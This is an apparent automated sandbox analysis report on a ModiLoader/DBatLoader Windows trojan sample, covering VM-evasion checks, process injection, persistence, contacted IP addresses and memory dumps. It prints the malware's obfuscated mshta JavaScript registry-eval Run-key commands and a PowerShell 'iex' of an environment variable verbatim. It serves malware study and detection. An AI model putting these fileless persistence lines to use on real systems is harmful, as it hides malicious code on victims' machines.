Malware Analysis Report

2024-10-19 07:03

Sample ID 240509-zkm2kadg8y
Target 2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118
SHA256 14a737941a547cce90d0b670863658693d7d6660cc36c102bccf8ef741848bff
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

14a737941a547cce90d0b670863658693d7d6660cc36c102bccf8ef741848bff

Threat Level: Known bad

The file 2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

Looks for VirtualBox drivers on disk

Checks for common network interception software

Looks for VirtualBox Guest Additions in registry

ModiLoader Second Stage

Looks for VMWare Tools registry key

Drops startup file

Deletes itself

Checks BIOS information in registry

Adds Run key to start application

Maps connected drives based on registry

Suspicious use of SetThreadContext

Drops file in System32 directory

Enumerates physical storage devices

Enumerates system info in registry

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Checks processor information in registry

Modifies registry class

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-09 20:46

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-09 20:46

Reported

2024-05-09 20:49

Platform

win7-20240221-en

Max time kernel

149s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\54b061.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\529d1c\\1bcd8a.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:b7obf3iTc=\"5\";k7S0=new%20ActiveXObject(\"WScript.Shell\");i2WxEJPi=\"UHOhS\";dl8Zu=k7S0.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\jvvo\\\\xbawnqo\");brKhW5p=\"te4\";eval(dl8Zu);tY6zoEii=\"k4ZSx4j\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:X3Shre=\"unho6VL\";p9x0=new%20ActiveXObject(\"WScript.Shell\");B6rzn7wLx=\"tavfUY6\";sLF3V=p9x0.RegRead(\"HKCU\\\\software\\\\jvvo\\\\xbawnqo\");P9F2qI=\"Tl\";eval(sLF3V);LB4Ur=\"s8s\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.cbe78f1 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.cbe78f1\ = "ed42e7" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:ELDUVz18=\"e\";XZ30=new ActiveXObject(\"WScript.Shell\");BC1maznz=\"SHiLD7\";ATsF5=XZ30.RegRead(\"HKCU\\\\software\\\\jvvo\\\\xbawnqo\");eoi0WHMu=\"j6BwOw2\";eval(ATsF5);wx0tPUo4z=\"dgTw05\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1676 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe
PID 1676 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe
PID 1676 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe
PID 1676 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe
PID 1676 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe
PID 1676 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe
PID 1676 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe
PID 1676 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe
PID 1676 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe
PID 1676 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe
PID 2884 wrote to memory of 2204 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2884 wrote to memory of 2204 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2884 wrote to memory of 2204 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2884 wrote to memory of 2204 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2204 wrote to memory of 2148 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2204 wrote to memory of 2148 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2204 wrote to memory of 2148 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2204 wrote to memory of 2148 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2204 wrote to memory of 2148 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2204 wrote to memory of 2148 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2204 wrote to memory of 2148 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2204 wrote to memory of 2148 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2148 wrote to memory of 2376 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2148 wrote to memory of 2376 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2148 wrote to memory of 2376 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2148 wrote to memory of 2376 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2148 wrote to memory of 2376 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2148 wrote to memory of 2376 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2148 wrote to memory of 2376 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2148 wrote to memory of 2376 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:RT65vb="B";C2V=new%20ActiveXObject("WScript.Shell");UzYih4Q6D="MZN78KQy";TQky4=C2V.RegRead("HKLM\\software\\Wow6432Node\\5dxZ04D\\qNMjlX");ZEep7wV7="tTe2";eval(TQky4);sPakz1S="jtsi";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:liuqexb

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 138.65.161.70:80 tcp
EC 192.207.67.12:443 tcp
US 32.37.144.77:80 tcp
KR 119.202.202.227:80 tcp
RU 79.111.248.18:80 tcp
NG 41.58.97.68:80 tcp
US 64.250.156.133:80 tcp
US 135.179.255.164:80 tcp
US 29.108.27.163:80 tcp
US 128.218.115.123:80 tcp
KR 221.156.245.170:80 tcp
JP 103.2.53.221:8080 tcp
US 69.27.188.223:80 tcp
CA 156.44.79.10:80 tcp
TH 49.231.190.62:80 tcp
ES 89.6.3.73:80 tcp
US 66.158.124.68:80 tcp
US 22.231.139.214:80 tcp
KR 3.38.2.239:80 tcp
TN 196.235.26.184:8080 tcp
US 207.172.15.42:80 tcp
FR 145.238.116.238:443 tcp
US 57.125.82.84:80 tcp
CN 106.225.188.34:80 tcp
US 35.100.213.170:80 tcp
US 209.71.125.213:80 tcp
US 166.199.130.217:80 tcp
US 66.118.192.228:8080 tcp
SE 147.14.207.129:8080 tcp
IN 103.5.188.147:80 tcp
US 208.84.47.79:80 tcp
JP 106.137.129.171:80 tcp
TR 78.186.173.174:80 tcp
US 170.241.228.249:80 tcp
US 12.134.159.239:8080 tcp
JP 157.69.73.126:80 tcp
PE 45.237.174.195:443 tcp
JP 133.133.24.249:80 tcp
CN 36.22.16.200:80 tcp
US 207.42.7.176:80 tcp
JP 126.202.197.254:80 tcp
US 24.187.200.93:80 tcp
TR 91.191.170.72:80 tcp
DE 93.219.191.187:80 tcp
KR 222.101.108.59:8080 tcp
KR 124.57.192.132:80 tcp
US 215.75.152.158:80 tcp
US 15.95.28.137:80 tcp
US 71.243.155.172:80 tcp
US 99.42.110.115:8080 tcp
IE 57.194.65.214:80 tcp
JP 164.43.12.195:8080 tcp
IT 79.38.225.159:80 tcp
NO 158.150.236.158:80 tcp
DE 185.134.45.77:443 tcp
PL 37.128.20.58:80 tcp
US 208.170.46.74:80 tcp
US 64.92.163.116:80 tcp
CN 123.78.75.65:80 tcp
NL 94.208.255.141:80 tcp
US 150.125.242.135:80 tcp
US 130.53.68.126:80 tcp
US 63.242.49.134:80 tcp
US 170.15.245.192:80 tcp
US 23.180.1.207:80 tcp
US 174.158.137.16:80 tcp
RU 82.112.185.37:443 tcp
CN 112.48.16.245:80 tcp
TW 120.106.12.128:80 tcp
US 135.158.213.196:80 tcp
DE 5.231.245.225:80 tcp
CN 117.167.2.182:80 tcp
US 33.252.240.46:80 tcp
AU 20.40.162.56:443 tcp
US 18.96.7.174:80 tcp
JP 42.147.90.243:80 tcp
CN 42.225.238.22:80 tcp
US 97.4.120.157:80 tcp
US 216.125.250.137:80 tcp
IT 2.46.151.59:8080 tcp
US 135.31.154.235:80 tcp
CN 150.248.255.28:80 tcp
IN 103.62.249.53:80 tcp
CA 142.37.28.170:80 tcp
GB 81.101.189.158:80 tcp
US 134.172.194.10:80 tcp
BR 201.12.74.172:443 tcp
US 65.110.89.81:80 tcp
FR 40.66.54.202:80 tcp
GB 31.115.168.90:80 tcp
SE 13.50.54.100:443 tcp
US 172.242.79.24:80 tcp
US 7.132.124.110:80 tcp
AU 119.9.38.243:80 tcp
US 208.121.30.242:80 tcp
US 29.149.197.145:80 tcp
ID 39.250.94.68:80 tcp
NL 80.127.133.59:80 tcp
US 65.132.207.7:8080 tcp
UA 176.120.47.63:80 tcp
BR 177.156.128.96:80 tcp
US 40.156.139.34:80 tcp
US 215.130.69.91:80 tcp
CN 103.25.21.92:80 tcp
DE 81.11.10.134:80 tcp
US 18.242.146.178:80 tcp
US 52.2.35.204:8080 tcp
US 7.135.215.193:80 tcp
US 214.217.198.254:80 tcp
US 12.13.95.226:80 tcp
US 29.182.22.176:80 tcp
MX 189.187.172.79:8080 tcp
DE 2.240.134.246:80 tcp
US 167.201.171.168:8080 tcp
IT 37.163.194.109:80 tcp
NL 52.233.163.34:80 tcp
DE 91.17.162.126:80 tcp
US 66.251.43.181:80 tcp
KR 175.204.235.65:80 tcp
RU 109.248.138.160:80 tcp
US 167.86.65.209:80 tcp
US 99.84.175.44:80 tcp
US 32.235.69.92:80 tcp
IR 151.232.204.155:443 tcp
US 99.84.175.44:80 99.84.175.44 tcp
KR 1.223.219.160:80 tcp
FR 83.204.2.220:80 tcp
CR 186.32.197.252:80 tcp
CN 42.128.196.109:80 tcp
JP 133.202.121.132:80 tcp
US 40.228.109.122:80 tcp
TR 88.246.193.221:80 tcp
CN 59.235.96.84:80 tcp
US 8.62.128.48:80 tcp
US 71.118.155.200:80 tcp
GB 139.143.186.111:80 tcp
AR 179.40.197.20:8080 tcp
CN 36.116.212.136:80 tcp
CU 152.207.184.151:443 tcp
US 65.225.217.190:8080 tcp
US 16.228.185.113:80 tcp
US 151.142.224.127:80 tcp
CN 124.74.5.54:80 tcp
CN 8.131.152.62:80 tcp
US 204.68.157.201:80 tcp
US 149.64.7.107:80 tcp

Files

memory/1676-0-0x0000000074841000-0x0000000074842000-memory.dmp

memory/1676-9-0x0000000074840000-0x0000000074DEB000-memory.dmp

memory/1676-8-0x0000000074840000-0x0000000074DEB000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 29f65ba8e88c063813cc50a4ea544e93
SHA1 05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512 e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

C:\Users\Admin\AppData\Local\Temp\Tar24B7.tmp

MD5 435a9ac180383f9fa094131b173a2f7b
SHA1 76944ea657a9db94f9a4bef38f88c46ed4166983
SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA512 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

memory/2876-90-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2876-81-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2876-88-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2876-92-0x0000000000920000-0x00000000009F6000-memory.dmp

memory/2876-93-0x0000000000920000-0x00000000009F6000-memory.dmp

memory/2876-97-0x0000000000920000-0x00000000009F6000-memory.dmp

memory/2876-95-0x0000000000920000-0x00000000009F6000-memory.dmp

memory/2876-94-0x0000000000920000-0x00000000009F6000-memory.dmp

memory/2876-96-0x0000000000920000-0x00000000009F6000-memory.dmp

memory/2876-98-0x0000000000920000-0x00000000009F6000-memory.dmp

memory/1676-91-0x0000000074840000-0x0000000074DEB000-memory.dmp

memory/2876-86-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/2876-85-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2876-84-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2876-83-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2876-82-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2876-99-0x0000000000920000-0x00000000009F6000-memory.dmp

memory/2876-102-0x0000000000920000-0x00000000009F6000-memory.dmp

memory/2204-106-0x0000000006370000-0x0000000006446000-memory.dmp

memory/2148-108-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-107-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-118-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-117-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-116-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-115-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-114-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-113-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-112-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-111-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2204-110-0x0000000006370000-0x0000000006446000-memory.dmp

memory/2148-121-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-120-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-119-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-122-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-124-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-123-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-143-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-142-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-150-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-141-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-140-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-139-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-138-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-133-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-132-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-131-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-130-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-129-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-128-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-127-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-126-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2148-125-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2376-162-0x00000000000D0000-0x0000000000211000-memory.dmp

